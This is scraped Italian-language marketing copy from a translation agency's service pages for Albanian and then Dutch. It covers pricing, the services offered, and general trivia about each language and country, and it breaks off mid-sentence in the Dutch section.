VERSO L’ALBANESE? Il prezzo dei servizi di traduzione da e verso l’albanese è calcolato singolarmente per ogni ordine e tiene conto delle sue caratteristiche specifiche. Ad esempio, prendendo il caso dell’interpretazione consecutiva e simultanea, il prezzo si basa sulla durata del servizio, sul luogo dell’evento, sulle spese di viaggio e sulla diaria. Per i servizi di interpretazione simultanea, ci sono delle spese aggiuntive dovute al supporto tecnico, le quali dipendono dal numero di partecipanti all’evento, ecc. Per quanto riguarda le traduzioni scritte invece, per decidere il prezzo sono considerati il volume e la leggibilità del materiale da tradurre, il termine di consegna del lavoro, la complessità della terminologia, le ripetizioni all’interno del testo, la formattazione e la complessità di immagini e grafiche, la correzione di bozze e altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI? Naturalmente. Il listino prezzi dei servizi di traduzione e interpretazione (simultanea e consecutiva), di localizzazione e di adattamento da e verso l'albanese è parte integrante dell’accordo di cooperazione che stipuliamo con i nostri clienti. Prima di iniziare il progetto di traduzione, i project manager di Skrivanek preparano sempre informazioni dettagliate sul prezzo dell’ordine. Il preventivo è pronto in non più di 30 minuti. Per quanto riguarda le traduzioni scritte, parametri come il numero di parole e di ripetizioni, la complessità dell’elemento grafico ed altri parametri concorrono alla definizione del prezzo. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso l’albanese? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua albanese: Traduzione di documenti in albanese Interpretazione simultanea in albanese Validazione linguistica di traduzioni in albanese Interpretazione consecutiva in albanese Trascrizione in albanese Grafica e composizione tipografica in albanese Servizi di voice over e di sottotitolaggio in albanese Servizi di selezione di staff albanese Marketing multiculturale in albanese Gestione di documenti in albanese Servizi di deposizione in albanese Servizi di data room virtuali in albanese Supporto per l'e-learning in albanese Cercate un servizio linguistico in albanese? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole FATTI INTERESSANTI SULLA LINGUA ALBANESE E SULL'ALBANIA In Albania, lo stile di vita è diverso da quello europeo dove tutti sono sempre impegnati e diretti da qualche parte. Gli albanesi fanno una vita lenta, pacifica e non si preoccupano delle piccole cose. In questo paese la semplicità e le proprie regole fanno da padrone e il loro scopo è quello di rendere la vita dei cittadini più piacevole. L’Albania non segue principi prestabiliti: negli anni non si è mai lamentata di nulla. Con la sua antica nonché complessa storia e con la sua natura incontaminata caratterizzata da pendii rocciosi, mari dalle acque turchesi e foreste, l’Albania è una delle nazioni più belle d’Europa. L’accoglienza e la cordialità dei residenti è ciò che crea il fascino meridionale di questa nazione. Gli albanesi più anziani sono così fieri della propria nazione e delle sue antiche tradizioni che potrebbero andare in giro indossando abiti folcloristici anche tutti i giorni. L’albanese è una lingua unica; in nessuna nazione si parla una lingua simile. Questa è una terra di grandi contrasti, una terra dove il semplice si mescola con il sofisticato, con la spiritualità e con il mistero. L’albanese è una lingua indoeuropea isolata, tanto è che la sua stessa appartenenza alla famiglia delle lingue indoeuropee è stata molto discussa. L’origine del popolo albanese e della loro lingua è ancora incerta. Secondo alcuni studiosi di linguistica, l’albanese è nato dall’illirico, ossia una delle più antiche lingue della penisola balcanica. Sono tuttavia molti gli studi che dimostrano la vicinanza dell’illirico al rumeno e con alle lingue celtiche, mentre, da un punto di vista fonologico e morfologico, l’albanese è più simile alle lingue slave, indoiraniche e all’armeno. Un’altra possibilità accettata è che l’albanese abbia avuto origine dal dacico o persino dal tracico. Questa lingua è stata influenzata dal dominio romano durato dal II al IV secolo a. C. , dalla colonizzazione slava del VI e VII secolo, dall’influenza bizantina e dall’annessione di parte del territorio di etnia albanese nei territori amministrati da Bulgaria e Serbia, come anche dalle battaglie tra la chiesa ortodossa e quella cattolica. L'albanese è la lingua ufficiale di Albania e Kosovo ed è una delle lingue ufficiali della Macedonia settentrionale e del Montenegro. La lingua albanese ha due dialetti: il dialetto ghego, parlato nell’Albania settentrionale e in Kosovo, e il dialetto tosco, parlato invece nell’Albania meridionale. Essi sono differenti per lo più da un punto di vista fonetico, ma questo non disturba la comunicazione, la quale avviene senza problemi. L'80% della lingua letteraria albanese si basa sul dialetto tosco. Fin dal medioevo, gli albanesi stanziati nel sud Italia hanno sempre parlato la lingua arbëreshe, mentre quelli che vivono in Grecia la lingua arvantica. L’ente ufficiale per la regolamentazione della lingua albanese è il dipartimento di Scienze Sociali dell'Accademia delle Scienze dell'Albania. L'unica albanese ad aver ricevuto un premio Nobel è Madre Teresa. Dal 1941 al 1992, durante il regime comunista, in Albania è stata vietato qualsiasi tipo di religione. L'Albania fu quindi il primo paese ateo del mondo. In Albania non ci sono McDonald's, ma c’è una catena di fast food simile chiamata Kolonat. Nei villaggi e città albanesi, tutte le sere ha luogo un’attività particolare: il traffico viene chiuso e tutti escono a fare una passeggiata per bruciare le calorie della cena. Questa passeggiata serale ha persino un nome speciale: xhiro. Gli albanesi non chiamano il loro paese Albania, ma Shqipëria (Paese delle aquile). Uno dei fatti più sorprendenti dell’Albania è che la sua popolazione è di circa 3 milioni di abitanti, ma sono almeno 7 milioni gli albanesi a vivere all’estero. Questo fenomeno migratorio è iniziato all’inizio degli anni ‘90 ed è stato causato principalmente dall’alto tasso di disoccupazione nel paese. Nel 1991, l'Albania aveva solo 3. 000 auto ogni 3 milioni di abitanti. Di fatti, durante il regime comunista solo i membri del Partito potevano possedere una macchina. Nel 1995, il governo albanese introdusse una tassa sui semafori che i conducenti di Scutari si rifiutarono di pagare poiché la consideravano assurda. Il motivo? Non ci sono semafori a Scutari! È dal XV secolo che gli albanesi hanno un codice d'onore - la Besa. Essa si riferisce al concetto di mantenere una promessa ed è una delle caratteristiche più importanti della cultura del popolo albanese. Gli albanesi sono incredibilmente superstiziosi: vedono in tutto dei segni premonitori. Se vi fate tagliare i capelli in Albania, non sorprendetevi se alla fine del taglio ricevete uno schiaffo in testa: per gli albanesi è un gesto amichevole, è come un augurio di buona salute. L'ALFABETO ALBANESE Le più antiche testimonianze di albanese scritto risalgono al XIV secolo e sono in molti alfabeti diversi. Esse provengono dalla regione di Gheg e si basano sull’italiano o sul greco. Originariamente, il dialetto Tosk era scritto in alfabeto greco e mentre quello Gheg in alfabeto latino. Entrambi i dialetti sono stati scritti utilizzando anche l’alfabeto turco-ottomano, il quale era in uso durante l’Impero ottomano, il cirillico e alcuni alfabeti locali. Gli scrittori dell’Albania settentrionale, i quali erano influenzati della Chiesa cattolica, utilizzavano l’alfabeto latino. Quelli dell’Albania meridionale invece, influenzati dalla Chiesa greco-ortodossa, scrivevano utilizzando l’alfabeto greco. Infine, il resto dell’Albania, che era sotto l’influenza dell’Islam, utilizzava la scrittura araba. Tuttavia, ci furono dei tentativi di creare un alfabeto albanese unico tra il 1750 e il 1850. In questi cento anni, l’Albania era caratterizzata da una sorprendente diversità ortografica; erano utilizzati almeno dieci alfabeti differenti, un record per una lingua europea. Al giorno d’oggi, l’alfabeto utilizzato in albanese è quello latino ed è composto da 36 lettere (7 vocali e 29 consonanti). Esso è una delle due versioni approvate dal congresso di Manastir del novembre del 1908, il quale fu organizzato da intellettuali albanesi. All'alfabeto latino sono state aggiunte le lettere ë e ç e dieci digrafi(dh, th, xh, gj, nj, ng, ll, rr, zh e sh). L'alfabeto albanese non contiene la lettera w. QUANTO È DIFFICILE L'ALBANESE? Sono diversi i fattori che possono facilitare o ostacolare il processo di apprendimento di una determinata lingua. Alcuni di essi sono la disponibilità di risorse didattiche, la lingua madre dello studente, l’esposizione alla lingua straniera, nonché le sue caratteristiche, ossia la struttura grammaticale, la pronuncia, l’alfabeto, ecc. Spesso, le lingue considerate difficili sono quelle con complesse strutture grammaticali e l’albanese è una di queste. Essa è una lingua di livello 2, come ad esempio anche l’ungherese, l’ucraino, l’hindi, il malese, ecc. L’albanese è quindi difficile da imparare ma, sicuramente, non è tanto complicato quanto l’arabo o il cinese, ma neanche tanto facile quanto lo svedese, il portoghese o lo spagnolo. Tuttavia, in confronto ad altre lingue della stessa categoria, l’albanese è relativamente semplice. DOVE E IN QUANTI PARLANO ALBANESE? Il numero di individui che parla albanese nel mondo si aggira attorno agli 8-10 milioni. Sono relativamente pochi, solo 3,3 milioni, quelli che vivono in Albania, mentre sono 2,2 milioni coloro che abitano in Kosovo. Un numero relativamente alto di parlanti di albanese si possono trovare anche nella Macedonia settentrionale e in Grecia. L’emigrazione albanese iniziò nel XV secolo e, al giorno d’oggi, il numero di albanesi che non vive in Albania è maggiore di quelli che ci vivono. Le maggiori comunità si trovano in Italia, Argentina, Romania, Croazia, Turchia, Scandinavia, Germania, Svizzera e Stati Uniti. Ma sono comunità importanti anche quelle che si trovano in Australia, Brasile, Canada, Francia, Belgio, Nuova Zelanda e Regno Unito. A causa dell’alto tasso di disoccupazione del paese, la diaspora albanese è in continua crescita. I NOSTRI INTERPRETI E TRADUTTORI DI ALBANESE Il team di traduttori e interpreti di albanese di Skrivanek fornisce sia traduzioni di documenti standard che traduzioni tecniche complesse, come anche traduzioni certificate da un notaio. L'agenzia di traduzione Skrivanek si occupa anche della correzione di bozze e del miglioramento stilistico dei testi in albanese, della creazione di contenuti SEO e dell'adattamento dei testi al mercato e alla mentalità albanese. I nostri linguisti specializzati saranno lieti di fornire informazioni sulle differenze culturali, su come lavorare con i partner commerciali, sulla storia e sulle tradizioni albanesi. Più spesso, le aziende nostre clienti ci richiedono traduzioni da e verso l’albanese di siti web e contenuti per l’e-commerce, adattamento di slogan pubblicitari, accordi di collaborazione, legislazioni, sentenze giudiziarie e documentazione commerciale. Offriamo anche servizi di interpretazione consecutiva di incontri commerciali o di altro tipo, in occasione di conferenze o di altri eventi, su Zoom o altre piattaforme online. Per i privati, eseguiamo traduzioni da e verso l’albanese di documenti di riconoscimento, certificati di matrimonio, certificati di nascita, documenti relativi all’istruzione o alla formazione, passaporti, documentazione medica, ecc. L’ALBANESE NEL COMMERCIO In Albania, la maggior parte dei funzionari pubblici parla inglese o un'altra lingua europea tra francese, italiano, tedesco o greco. Purtroppo, nel privato la situazione è spesso diversa: gli imprenditori albanesi, nonostante parlino quasi sempre una lingua straniera che spesso è una tra l’inglese e l’italiano, preferiscono parlare nella loro lingua madre. Perciò gli interpreti sono molto impiegati in tutti i tipi di incontri, a volte anche in qualità di assistenti o di segretari. In Albania il contratto è orale e/o scritto. Questo popolo non ama produrre troppi documenti e cerca di mantenere le cose semplici. Inoltre, nelle aziende private la stessa persona può essere il manager, il segretario, il contabile e l’autista. La maggior parte dei giovani albanesi (fino a 35 anni) parla bene l'inglese e spesso anche altre lingue, soprattutto l'italiano. Fuori dall’Albania, l’albanese non è utilizzato come lingua commerciale. Tuttavia, è importante averne una conoscenza almeno basica nel caso in cui si abbia il desiderio e l’opportunità di sviluppare il proprio business in Albania. ENVER HOXHA Si sa relativamente poco dell’Albania, ma l’interesse verso questa nazione continua a crescere, da un punto di vista sia culturale che turistico. Per quanto riguarda quest’ultimo, se si decide di visitare l’Albania, sarà impossibile non notare le tracce lasciate dal regno di Enver Hoxha nella politica, nell’architettura, nella mentalità, nella religione, e nella storia albanese. Ma chi fu questo Enver Hoxha? Egli fu il fondatore nonché leader della Repubblica Popolare d'Albania e il segretario del Partito del lavoro d’Albania. È stato inoltre primo ministro dell'Albania dal 1944 al 1954 e ministro degli Esteri dal 1946 al 1953. Egli impose l’isolamento economico dal resto d’Europa, abolì tutte le religioni e stabilì un rigido controllo statale sulla popolazione. Osservando l’Albania, si può capire che, durante gli anni di Hoxha, gli albanesi si sono inspirati alla Corea del Nord in molti settori. Le ragioni di ciò sono da cercare nella profonda devozione per la dittatura e per il protezionismo che il grande Enver Hoxha insegnò al popolo nel corso del suo regno, il quale durò da dopo la Seconda guerra mondiale fino alla metà degli anni ‘80. In questo periodo, egli distrusse gradualmente tutte le relazioni economiche e diplomatiche tra l’Albania e l’Unione Sovietica, la Cina e le repubbliche iugoslave. Così, alla fine della sua era, che coincise con la sua morte nel 1985, l’Albania era completamente isolata dal resto del mondo; Non conosceva né l'est comunista né l'ovest capitalista. Sebbene nel 1991 si siano tenute le prime elezioni multipartitiche, la maggioranza della popolazione votò comunque il Partito comunista per paura. Coalizioni multipartitiche iniziarono a formarsi solo molti anni dopo. Per decenni, il dittatore Hoxha cercò di convincere la popolazione di vivere in uno dei paesi più sviluppati e felici del mondo. Lo Stato era presente in ogni possibile aspetto della vita delle persone, compresa quella privata. Quest’interferenza arrivò a livelli assurdi: erano vietati rituali religiosi, cani, gatti, telefonate all’estero, macchine private, portare la barba, ecc. Si dice che perfino i binari del treno finissero al confine. Le cose permesse erano poche, tuttavia di fatto obbligatorie. Hoxha era noto per le sue forti idee politiche che mise in pratica. Per esempio, ha definito l'Albania il primo Paese ateo del mondo. Secondo i dati ufficiali, la maggioranza della popolazione è di religione islamica, ma solo il 5% di essi è realmente praticante. Di fatti, sotto l’influenza di Hoxha, l’Albania è oggi diventata una delle poche nazioni in cui religioni differenti coesistono pacificamente. Esse si supportano perfino l’un l’altra. Negli anni ‘70 e ‘80, a causa di conflitti territoriali con i paesi confinanti e di una paura paranoica di minacce di attacco ingiustificate, Hoxha ordinò l’edificazione di bunker in tutta l’Albania. Il piano iniziale ne prevedeva 222. 000, ma alla fine ne furono costruiti solo 174. 000. Durante la loro costruzione morirono molti operai, a cui sono dedicate delle placche commemorative che si trovano su queste strutture. Questi bunker si trovano ovunque in Albania e sono di tutte le dimensioni. Questo è sicuramente il paese che ne ha di più al mondo. Entrando nella nazione, si ha la sensazione di entrare in un complesso militare segreto o nel set di un film di guerra hollywoodiano: queste particolari strutture architettoniche spuntano da tutte le parti. Naturalmente, nelle città essi non sono molto visibili, ma gli spazi verdi che si trovano nei confini con le altre nazioni ne sono letteralmente infestati. Questi bunker si trovano anche nei lati delle strade, nei cortili, nei giardini e nei parchi: ovunque il nemico potrebbe improvvisamente arrivare. Secondo le statistiche, in Albania ci sono circa 24 bunker per chilometro quadrato. Questo dato è ridicolo e tragico allo stesso tempo, dato che questo assolutamente inutile programma di costruzione di bunker non ha fatto altro che indebolire l’economia della nazione, andando a sprecare grandi risorse di cui la nazione sentì la mancanza nei decenni successivi. Di fatti, i cittadini si videro costretti a vivere in un’austerità inimmaginabile: successe addirittura che per un breve periodo ebbero accesso all’elettricità solo tre volte al giorno. Lo stato interruppe la manutenzione del sistema di bunker solo nel 1990. Alcuni sono ancora oggi utilizzati come riparo, magazzino o lavanderia, altri sono stati trasformati in bar, mentre altri ancora sono stati semplicemente abbandonati. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’ALBANESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a albanese; da albanese a lettone; da estone a albanese; da albanese a estone; da lituano a albanese; da albanese a lituano; da russo a albanese; da ceco a albanese; da albanese a ceco; da polacco a albanese; da albanese a polacco; da ucraino a albanese; da albanese a ucraino; da albanese a spagnolo; spagnolo a albanese; tedesco a albanese; albanese a tedesco; italiano a albanese; albanese a italiano; francese a albanese; albanese a francese; danese a albanese; albanese a danese; norvegese a albanese; albanese a norvegese; svedese a albanese; albanese a svedese; finlandese a albanese; albanese a finlandese e altri. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’ALBANESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a albanese; da albanese a lettone; da estone a albanese; da albanese a estone; da lituano a albanese; da albanese a lituano; da russo a albanese; da ceco a albanese; da albanese a ceco; da polacco a albanese; da albanese a polacco; da ucraino a albanese; da albanese a ucraino; da albanese a spagnolo; spagnolo a albanese; tedesco a albanese; albanese a tedesco; italiano a albanese; albanese a italiano; francese a albanese; albanese a francese; danese a albanese; albanese a danese; norvegese a albanese; albanese a norvegese; svedese a albanese; albanese a svedese; finlandese a albanese; albanese a finlandese e altri. --- > Traduzioni e altri servizi linguistici in lingua olandese. Oltre 25 anni di esperienza. Ottenete un preventivo gratuito in 15 minuti! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-holandiesu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO L’OLANDESE QUANTO COSTANO LE TRADUZIONI DA E VERSO L’OLANDESE? Il prezzo per i servizi di traduzione da/verso l'olandese viene stabilito singolarmente per ogni ordine e dipende da diversi fattori, i quali variano a seconda dei bisogni e delle richieste del cliente. Il costo dei servizi di interpretazione consecutiva è calcolato tenendo conto della durata dell’impiego e della combinazione linguistica in cui esso viene svolto. Per quanto riguarda i servizi di traduzione scritta, i fattori che concorrono a determinarne il prezzo sono la quantità di materiale da tradurre, il formato del testo, le scadenze, la settorialità del contenuto del testo, le ripetizioni, l’elemento grafico, la revisione e qualsiasi altro servizio richiesto dal cliente, come ad esempio la certificazione notarile. È DISPONIBILE IL LISTINO PREZZI? Sì, il listino prezzi relativo ai servizi di traduzione e interpretazione (simultanea e consecutiva) da/verso l’olandese è incluso nell’accordo di collaborazione che stipuliamo con i nostri clienti. Prima di realizzare il progetto, forniamo sempre una descrizione del prezzo del servizio. Il costo è diverso per ogni progetto ed è calcolato sulla base del listino prezzi in vigore di Skrivanek, il quale tiene conto, tra gli altri, del numero delle parole nel testo di partenza e delle ripetizioni. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre e i nostri project manager vi contatteranno per concordare la soluzione più adatta. Avete bisogno di un servizio di traduzione da/verso l’olandese? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua olandese: Traduzione di documenti in olandese Interpretazione simultanea in olandese Validazione linguistica di traduzioni in olandese Interpretazione consecutiva in olandese Trascrizione in olandese Grafica e composizione tipografica in olandese Servizi di voice over e di sottotitolaggio in olandese Servizi di selezione di staff olandese Marketing multiculturale in olandese Gestione di documenti in olandese Servizi di deposizione in olandese Servizi di data room virtuali in olandese Supporto per l'e-learning in olandese Cercate un servizio linguistico in olandese? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI SULLA LINGUA OLANDESE Le gioie proibite di Amsterdam, i tulipani, i mulini a vento e le persone più alte del mondo: è questo ciò che si pensa quando si sente parlare dell’Olanda. L’olandese, chiamato neerlandese nei paesi bassi e fiammingo in Belgio, è una lingua germanica che conta circa 23 milioni madrelingua sparsi fra Olanda, Belgio, Suriname, Aruba e nelle ex Antille olandesi. Essa è molto vicina ad altre lingue germaniche occidentali, ossia l’inglese, il frisone occidentale e il tedesco. L'afrikaans si è sviluppato dall'olandese e oggi è considerato una lingua indipendente. L'olandese è la lingua ufficiale dei Paesi Bassi e ha uno status speciale in Belgio. Inoltre, in Sudamerica, l'olandese continua a essere la lingua ufficiale del Suriname. Essa è anche la lingua ufficiale di Aruba, Curaçao e Sint Maarten, le quali si trovano nella regione del Mar dei Caraibi. Naturalmente, l’olandese è una delle lingue ufficiali dell’Unione europea e dell’Unione delle nazioni sudamericane. L'olandese è la settima lingua più diffusa in Europa. Essa è una lingua germanica occidentale che ha molti elementi in comune con il tedesco, l’inglese, il danese e lo svedese. Sarà quindi più facile imparare l’olandese per chi conosce già il tedesco. L'olandese è la 56a lingua più parlata al mondo. In alcune fonti esso è chiamato dialetto olandese, il quale è parlato dalla popolazione delle Fiandre, mentre in altre è detto lingua fiamminga. Le prime parole in olandese risalgono al XII secolo. Si ritiene che la prima testimonianza scritta di olandese sia un poema scritto su un foglio di carta, il quale dovrebbe risalire al XII secolo. Il testo più famoso in olandese antico si chiama Hebban olla vogala nestas hagunnan, hinase hic enda tu, wat unbidan we nu ("Tutti gli uccelli hanno iniziato a nidificare, tranne me e te, cosa stiamo aspettando? "). Il manoscritto risale al 1100 circa e fu scritto da un monaco fiammingo nell’abbazia di Rochester (a Kenti, in Inghilterra) ed oggi è conservato ad Oxford. In olandese, le parole hanno molte consonanti. Essa non è una lingua difficile da imparare, tuttavia anch’essa ha le sue difficoltà. Di fatti, sono molte le parole complicate che, date le tante consonanti di fila, hanno la parvenza di uno scioglilingua. Ad esempio, nella parola angstschreeuw, che significa "urlo di paura", sono otto le consonanti di fila, mentre in slechtstschrijvend, che significa "peggior scrittura", ce ne sono nove, ecc. La parola gezellig non può essere tradotta in nessuna lingua. Nonostante sia una delle parole più utilizzate in olandese, non ha una traduzione letterale in inglese e in molte altre lingue. Essa si usa per descrivere qualcosa che provoca una sensazione di comfort, piacere, o benessere. Per esempio, "Ho passato proprio una bella serata e mi sono seduto per un po’ di gezellig accanto al fuoco". In olandese, i sostantivi non hanno casi e la parola più lunga è di 60 lettere, ossia kindercarnavalsoptochtvoorbereidingswerkzaamhedencomitéleden, la quale si riferisce agli accompagnatori che partecipano alle attività preparatorie del corteo di carnevale dei bambini. È stata citata nel libro dei Guinness World Records 2011 come la parola olandese più lunga. Come si capisce da questo esempio, gli olandesi amano scrivere parole senza inserire spazi. Olandesi e sudafricani si capiscono fra loro, dato che l’afrikaans, ossia una delle lingue del Sud Africa, deriva dall’olandese che era parlato dai colonialisti olandesi. L'afrikaans, una delle lingue del Sudafrica, deriva dall'olandese, parlato dai coloni olandesi. Perciò le due lingue sono più o meno comprensibili dai parlanti dell’altra lingua. Per un olandese è più facile capire l'afrikaans che il contrario. Proprio come i lettoni, anche gli olandesi amano usare diminutivi, Essi sono presenti in molte lingue e sono delle parole o desinenze utilizzate per esprimere affetto o piccolezza di ciò di cui si sta parlando. In olandese si formano mediante l’aggiunta del suffisso je (o una sua variante) a sostantivi o avverbi. Inoltre, i diminutivi non sono utilizzati solo per esprimere affetto o dimensioni, ma anche per rendere numerabili i sostantivi non numerabili. Per esempio, bier è vuol dire "birra" ma biertje "un bicchiere di birra". Quando si traduce in olandese un testo dall’inglese o da altre lingue, il testo di arrivo sarà più lungo di quello di partenza di almeno il 35%. Ciò è dovuto all’uso delle lunghe parole composte che sono comuni in olandese. Questo è un elemento molto importante di cui tenere conto quando si creano contenuti per il marketing digitale o parole chiave per i Google Ads. La presenza del francese all’interno dell’olandese è molto importante, dato che la maggior parte delle parole olandesi derivano direttamente dalla lingua romanza. Il dizionario del lettone moderno definisce la lingua sia come olandese che neerlandese. Tuttavia, per promuovere un uso corretto nonché coerente dei nomi delle lingue, durante l’incontro del 29 maggio 2006 del Centro linguistico di stato, mentre venivano valutati i nomi delle lingue e dei gruppi linguistici in lettone, è stato confermato che il nome corretto da utilizzare per riferirsi alla lingua è olandese. L'ALFABETO OLANDESE Gli olandesi hanno sempre utilizzato l’alfabeto latino per scrivere. L'alfabeto olandese è composto da 26 lettere latine standard (a cui si aggiunge la legatura"IJ", che spesso sostituisce la lettera "Y"). Per quanto riguarda i simboli diacritici, in olandese si usano l’accento, la dieresi, l’apostrofo e i macron per allungare le vocali (sono usati raramente). La venticinquesima lettera dell'alfabeto olandese crea confusione in molti; essa può essere scritta come "Y" e a volte come "IJ". Questa combinazione delle lettere "i" e "j" crea una vocale con un suono simile a quello della "i" della parola inglese "hi". Tale combinazione è considerata una lettera unica ed è sempre scritta in maiuscolo nel caso in cui si trovi a inizio parola, a inizio frase o nel caso in cui è la prima lettera di un nome proprio. La lettera "y" non esiste nelle parole olandesi originali, ma è utilizzata solo nei prestiti da altre lingue, come baby, derby. In olandese, tutte le vocali, tranne la “y”, possono essere sia lunghe che brevi e quelle lunghe si formano nei seguenti modi: Due vocali identiche sono scritte l'una accanto all'altra; Ci sono combinazioni di vocali in cui due (o più) vocali vicine vengono pronunciate come un'unica vocale; Le vocali occorrono in sillabe aperte, ossia in sillabe che terminano in vocale. A differenza delle altre vocali in cui il suono lungo si esprime con un raddoppiamento delle stesse, la lunga si scrive con la combinazione vocalica “i+e”. Solitamente, le combinazioni vocaliche consistono in due o tre vocali differenti che, nella maggior parte dei casi, sono pronunciate come una sola. Nella divisione in sillabe, le combinazioni vocaliche fanno sempre parte della stessa sillaba, in cui faranno parte anche una o più consonanti. In olandese esistono 16 combinazioni vocaliche. In alcune di esse, vocali differenti sono pronunciate come una, ma in altre non è così semplice. La cosa più importante da ricordare è che tutte le 16 combinazioni sono costanti, quindi vanno imparate a memoria. Inoltre, bisogna anche ricordarsi che se due vocali che non fanno parte di una delle combinazioni vocaliche costanti occorrono una a fianco all’altra, allora creano due sillabe diverse (di cui faranno parte anche una o più consonanti). In olandese, le combinazioni di vocali costanti sono le seguenti: aai, ae, ai, au, eeu(w), ei, eu, ie, ieu(w), ij, oe, ou, oi, ooi, oei e ui. La lettera “e” ha due caratteristiche particolari che la rendono diversa dalle altre vocali, ossia: Se non è accentata, allora non viene pronunciata; La doppia “e”, o “ee”, è l’unica vocale doppia che può trovarsi a fine parola. La pronuncia delle consonanti è praticamente identica a quella dell'inglese: b, c, d, f, h, k, l, m, n, p, q, s, t, x, y, z. In olandese, esistono 3 combinazioni di consonanti: "ch", "sch" e "ng", le quali, nonostante siano formate da più di una consonante, hanno un unico suono. Per le consonanti, c’è solo una regola da tenere a mente, ossia che una doppia consonante non si trova mai a fine sillaba o a fine parola. DOVE E IN QUANTI PARLANO OLANDESE? Sono circa 28 milioni i parlanti di olandese nel mondo, ed essa è la lingua nativa di circa 23 milioni di persone distribuite tra Olanda, Belgio, Suriname, Aruba e ex Antille olandesi. È la lingua madre di circa 23 milioni di abitanti dei Paesi Bassi, del Belgio, del Suriname, di Aruba e delle ex Antille Olandesi. Inoltre, essa è utilizzata come lingua minoritaria in Francia e in Germania. Le più grandi comunità di lingua olandese vivono negli Stati Uniti, in Canada, in Australia e in Nuova Zelanda. Negli Stati Uniti, l'olandese è una delle 15 lingue più diffuse in 3 Stati: Delaware, Indiana e Ohio. Tuttavia, in passato la percentuale di parlanti di olandese era più alta. A New York, vicino al fiume Hudson, i coloni olandesi e i loro discendenti parlavano olandese. L'olandese era inoltre la lingua madre di Martin Van Buren, ossia l'ottavo presidente degli Stati Uniti d'America. Egli è l'unico presidente degli Stati Uniti la cui lingua madre non era l'inglese. QUANTO È DIFFICILE L'OLANDESE? A primo impatto l’olandese può sembrare davvero complicato, ma in realtà è sorprendentemente semplice per chi parla inglese e tedesco, tanto è che è stato definito una combinazione delle due lingue. Essa è quindi una delle lingue più facili da imparare per chi le parla entrambe. Tuttavia, indipendentemente dalla propria lingua madre, l’apprendimento dell’olandese presenta sempre ostacoli e richiede tempo. Ogni lingua ha degli aspetti complicati e l’unico modo per padroneggiarli è quello di impararli. UNA PRONUNCIA INSOLITA Quando si inizia a studiare l’olandese, molti studenti hanno difficoltà con la pronuncia. Ma questa difficoltà è condivisa anche dai nativi, visto le strane combinazioni di lettere che caratterizzano la lingua. Ad esempio, esistono combinazioni consonantiche come "nk", "sch", "ng" e "nk"; alcune di esse hanno un suono unico, mentre altre hanno due suoni. Ma non sono solo le consonanti ad essere 